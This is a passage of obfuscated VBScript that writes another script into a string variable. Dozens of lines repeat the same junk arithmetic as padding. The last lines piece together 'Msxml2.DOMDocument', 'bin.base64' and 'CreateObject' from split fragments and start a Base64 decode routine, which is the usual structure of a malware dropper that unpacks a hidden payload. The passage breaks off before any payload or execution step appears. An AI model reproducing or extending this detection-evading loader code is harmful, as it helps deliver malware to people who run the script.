rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "bgfjeryhj57r6uj55jry6jr = ""b""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""in""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""."" " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""ba""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""se""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""64"" " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "dim cftcfrfcfrfcfr, path" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "cftcfrfcfrfcfr = ""later""  '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "dim fjnffbeuiv54gt5kyurrhtibg4ug6g, f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "cftcfrfcfrfcfr = ""later"":Sub grgergre28u38kDecode(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323) " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Dim vvfebtrfdhbtrdfg, oriutoiuy87t34gr4y367, hyuifiuygwhjekriu" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    rightieiehtegy33gy = "")""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    quoieiehtegy33gy = """"""""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '0000
